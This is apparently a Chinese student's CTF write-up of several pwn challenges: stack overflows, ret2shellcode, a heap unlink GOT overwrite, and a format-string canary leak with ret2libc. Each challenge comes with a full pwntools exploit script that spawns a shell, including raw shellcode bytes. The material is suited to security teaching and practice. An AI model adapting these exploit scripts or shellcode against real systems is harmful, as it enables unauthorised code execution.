0.写在前面

学校近期买了安恒的平台,但是又因为平台上的WP写的太过简略,于是这里做详细记录

1. pwn1

题目描述:8888有惊喜 难度评级:⭐ 考察分类:Steak Overflow(ret2shellcode)

这个题的难度主要在于小于20字节的shellcode的寻找

查保护,发现无保护,32位

安恒做题笔记-Pwn - 图1

Patch掉0x080484CF处的call eax即可反编译

安恒做题笔记-Pwn - 图2

逻辑很简单,程序会call传入的内容,因此我们可以直接传入shellcode,但是程序对读入做了长度限制,我们只能传入最长不超过0x14个字符。那么直接利用shellcraft.sh()生成的shellcode就不能用了。

安恒做题笔记-Pwn - 图3

找到一个可用的18 bytes的shellcode

EXP如下:

  1. from pwn import *
  2. import sys
  3. context.log_level='debug'
  4. if args['REMOTE']:
  5. sh = remote(sys.argv[1], sys.argv[2])
  6. else:
  7. sh = process("./pwn_1")
  8. payload="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
  9. sh.sendline(payload)
  10. sh.interactive()
  11. print(sh.recv())

2. pwn2

题目描述:8888有惊喜 难度评级:⭐⭐ 考察分类:Heap Overflow(Unlink)

这个题的难度主要在于

查保护,发现NX保护,64位

安恒做题笔记-Pwn - 图4

反编译发现是列表形式的heap题目

安恒做题笔记-Pwn - 图5

其中在delete函数中可以明显看到存在UAF漏洞

安恒做题笔记-Pwn - 图6

在create函数中没有对v2做任何验证

安恒做题笔记-Pwn - 图7

可以看到name数组的首地址是0x6012A0

安恒做题笔记-Pwn - 图8

GOT表地址为0x6011F0

安恒做题笔记-Pwn - 图9

那么,我们可以利用-176的偏移使得*(name+(-176))指向GOT表区域,再利用UAF覆写GOT表(于是就想错了)

可以发现edit函数中没有对输入大小做限制,于是存在Heap overflow,存在Unlink漏洞

安恒做题笔记-Pwn - 图10

那么我们就可以覆写free的got表为目标函数的地址

EXP如下:

  1. from pwn import *
  2. import sys
  3. context.log_level='debug'
  4. if args['REMOTE']:
  5. sh = remote(sys.argv[1], sys.argv[2])
  6. else:
  7. sh = process("./pwn2")
  8. def creat(index):
  9. sh.sendline('1')
  10. sh.sendline(str(index))
  11. def delete(index):
  12. sh.sendline('3')
  13. sh.sendline(str(index))
  14. def show(index):
  15. sh.sendline('4')
  16. sh.sendline(str(index))
  17. def edit(index,input_length,value):
  18. sh.sendline('2')
  19. sh.sendline(str(index))
  20. sh.sendline(str(input_length))
  21. sh.sendline(value)
  22. target_addr=0x6012a0
  23. fd=target_addr - 0x18
  24. bk=target_addr - 0x10
  25. fake_chunk= p64(0) # prev_size
  26. fake_chunk+=p64(0x81) # size
  27. fake_chunk+=p64(fd)+p64(bk)
  28. fake_chunk+='a'*0x60 #padding
  29. fake_chunk+=p64(0x80) # next_prev_size
  30. fake_chunk+=p64(0x90) # next_size
  31. creat(0)
  32. creat(1)
  33. edit(0,len(fake_chunk),fake_chunk)
  34. delete(1)
  35. payload='A'*24+p64(0x601288)+p64(0x601208)
  36. edit(0,len(payload),payload)
  37. payload=p64(0x4009B6)
  38. edit(1,len(payload),payload)
  39. delete(0)
  40. sh.interactive()
  41. print(sh.recv())

3. pwn1-429-begin

题目描述:nc ipaddr 8000 难度评级:⭐⭐ 考察分类:Steak Overflow(ret2libc)、格式化字符串

这个题的难度主要在于利用格式化字符串泄露Canary的值

查保护,发现Canary保护,64位

安恒做题笔记-Pwn - 图11

分析程序发现在get_message函数中存在格式化字符串漏洞

安恒做题笔记-Pwn - 图12

又发现v3也就是canary的值存放在ESP+7C的位置,于是可以使用%31$x-%32$x-%33$x-泄露,加-是为了获取时方便,于是就可以用s处的栈溢出覆盖返回地址,leak libc基址,进而get shell

EXP:

  1. from pwn import *
  2. import sys
  3. context.log_level='debug'
  4. # context.arch='amd64'
  5. pwn1=ELF("./pwn1")
  6. if args['REMOTE']:
  7. sh = remote(sys.argv[1], sys.argv[2])
  8. libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.12.1-0ubuntu10.4_i386.so")
  9. else:
  10. sh = process("./pwn1")
  11. libc=ELF("/lib32/libc.so.6")
  12. sh.recvuntil("please enter your name:")
  13. sh.sendline('%31$x-%32$x-%33$x-')
  14. sh.recvuntil("Welcome to participate the 429 ctf!\n")
  15. canary_1=int(sh.recvuntil('-').strip('-'),16)
  16. canary_2=int(sh.recvuntil('-').strip('-'),16)
  17. canary_3=int(sh.recvuntil('-').strip('-'),16)
  18. payload='A'*0x64+p32(canary_1)+p32(canary_2)+p32(canary_3)+'AAAA'+p32(pwn1.plt['puts'])+p32(0x0804851D)+p32(pwn1.got['puts'])
  19. sh.recvuntil("can you leave me some messages:")
  20. sh.sendline(payload)
  21. puts_addr=u32(sh.recv()[0:4])
  22. log.success("We get puts address :"+hex(puts_addr))
  23. libc_base=puts_addr-libc.symbols['puts']
  24. log.success("We get libc base address :"+hex(libc_base))
  25. system_addr=libc_base+libc.symbols['system']
  26. binsh_addr=libc_base+libc.search('/bin/sh').next()
  27. sh.sendline('%31$x-%32$x-%33$x-')
  28. sh.recvuntil("Welcome to participate the 429 ctf!\n")
  29. canary_1=int(sh.recvuntil('-').strip('-'),16)
  30. canary_2=int(sh.recvuntil('-').strip('-'),16)
  31. canary_3=int(sh.recvuntil('-').strip('-'),16)
  32. payload='A'*0x64+p32(canary_1)+p32(canary_2)+p32(canary_3)+'AAAA'+p32(system_addr)+p32(0x0804851D)+p32(binsh_addr)
  33. sh.recvuntil("can you leave me some messages:")
  34. # gdb.attach(sh)
  35. sh.sendline(payload)
  36. sh.interactive()
  37. print(sh.recv())

**这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本

4. pwn1-429-last

题目描述:nc ipaddr 8000 难度评级:⭐ 考察分类:Steak Overflow(ret2libc)

这个题的难度主要在于寻找漏洞点(其实没啥难点。。。。。)

查保护,发现NX保护,32位

安恒做题笔记-Pwn - 图13

容易分析出ShowInfo函数中存在strcpy危险函数,并且同样对参数长度没有做判断

安恒做题笔记-Pwn - 图14

于是就是超级简单的一波ret2libc

EXP如下

  1. from pwn import *
  2. import sys
  3. context.log_level='debug'
  4. # context.arch='amd64'
  5. pwn1=ELF("./pwn1")
  6. if args['REMOTE']:
  7. sh = remote(sys.argv[1], sys.argv[2])
  8. libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.19-0ubuntu6.14_i386.so")
  9. else:
  10. sh = process("./pwn1")
  11. libc=ELF("/lib32/libc.so.6")
  12. payload='A'*0x88+'AAAA'+p32(pwn1.plt['puts'])+p32(0x080485FD)+p32(pwn1.got['puts'])
  13. sh.recvuntil("input your name:")
  14. sh.sendline(payload)
  15. sh.recvuntil(":")
  16. sh.sendline('1')
  17. sh.recvuntil('\x0a')
  18. puts_addr=u32(sh.recv()[0:4])
  19. log.success("We get puts address :"+hex(puts_addr))
  20. libc_base=puts_addr-libc.symbols['puts']
  21. log.success("We get libc base address :"+hex(libc_base))
  22. system_addr=libc_base+libc.symbols['system']
  23. binsh_addr=libc_base+libc.search('/bin/sh').next()
  24. payload='A'*0x88+'AAAA'+p32(system_addr)+p32(0x080485FD)+p32(binsh_addr)
  25. sh.sendline(payload)
  26. sh.recvuntil(":")
  27. sh.sendline('1')
  28. sh.interactive()
  29. print(sh.recv())

这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本**

5. pwn2-429-begin

题目描述:nc ipaddr 8000 难度评级:(和pwn1-429-begin一样,无难度) 考察分类:Steak Overflow(ret2libc)

查保护,发现NX保护与Canary保护,32位

安恒做题笔记-Pwn - 图15

分析发现。。。。极为的眼熟。。。至于眼熟在哪。。。我也不大清楚。。。。

然后就直接用pwn1-429-begin的EXP脚本试了一下。。。

出一样的题有意思吗。。。。。还是我把pwn1-429-begin做出了非预期?????

6. pwn2-429-last

题目描述:nc ipaddr 8000 难度评级:⭐⭐⭐⭐ 考察分类:Steak Overflow(静态编译)

查保护,发现NX保护与Canary保护,32位

安恒做题笔记-Pwn - 图16

这个题我要详细写一个WP,请移步